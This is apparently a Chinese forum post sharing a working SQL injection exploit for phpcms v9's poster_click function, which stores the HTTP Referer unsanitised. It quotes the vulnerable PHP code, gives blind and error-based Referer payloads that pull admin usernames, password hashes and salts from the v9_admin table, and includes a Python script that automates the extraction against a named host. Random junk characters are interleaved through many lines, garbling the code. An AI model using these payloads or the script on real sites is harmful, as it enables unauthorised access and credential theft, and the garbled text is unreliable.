phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
3 j5 y: c: F) @: O" W6 e; a4 ^
问题函数\phpcms\modules\poster\index.php
5 }5 _) k5 h$ R4 w2 u$ Q
public function poster_click() {
4 z: l% N' |  q+ _$ o6 Q" V$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
- c: D" u8 r8 ~$ R8 S) K$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
) W: Y3 x- x' n3 J$ip = ip();
$area = $ip_area->get($ip);
7 C7 Z  P5 g2 `% H2 K3 N$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
7 N9 E3 q+ S$ n1 m1 _$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
4 K' p2 J) l' S% @, x/ e3 ]$setting = string2array($r['setting']);
1 |" e" J; K) x, y& F! I' Pif (count($setting)==1) {
$url = $setting['1']['linkurl'];
' H% w! H7 p* e& D} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
+ F7 s9 D) l( G0 T4 X}
header('Location: '.$url);
}
4 a) Z8 u! h# W- \7 m9 u
+ [! B0 @9 X1 J
$ Q8 S4 R9 ]- j. s- W' E" s, {
7 f1 D9 g- }; T0 F: i利用方式：

1 q% u1 {$ B4 ^( i$ u" |; a1 e$ `1、可以采用盲注入的手法：
- S2 g' d6 [8 N! c1 g) R' j
) d- K, K0 F8 K  R) v( {referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
( @' N; e/ m5 u* t. i
- E* K' x1 M9 @; A, l, J% W- Q; O1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
  B9 ]( r5 B5 b& Z
6 C$ L: B- f  P& ]# K此方法是爆错注入手法，原理自查。


; r* _& n! |; O3 {  ?; q) T
利用程序:
- A8 J: G& N* V$ h4 R9 S/ N$ w
' [* h$ M9 g& D0 J7 K- g; Y# L#!/usr/bin/env python
import httplib,sys,re

def attack():
0 J# r+ x. ~% h7 M2 Bprint “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
2 r1 q7 Y+ c7 a4 aconn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
% R1 k7 \% T9 g) ?“Accept”: “text/plain”,
! R9 y" k; A/ [- v! V7 B* ]; o“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
! v7 |) s" _" T! P6 _3 _: Nr1 = conn.getresponse()
datas=r1.read()
' ~% D  Y! c# Odatas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
1 Y. V5 z: e/ |$ y7 ^. g+ lconn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
! O  R! G/ x. B& d! }% Mprint “Code by Pax.Mac Team conqu3r”
print “Usgae:”
+ c" X& p( o, g; K$ tprint “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
- [/ V2 m8 r( R( M9 \! d- L) Bsys.exit(1)
& F, D- l8 ~4 A- z# Dattack()
; U+ e! f+ F; Y9 E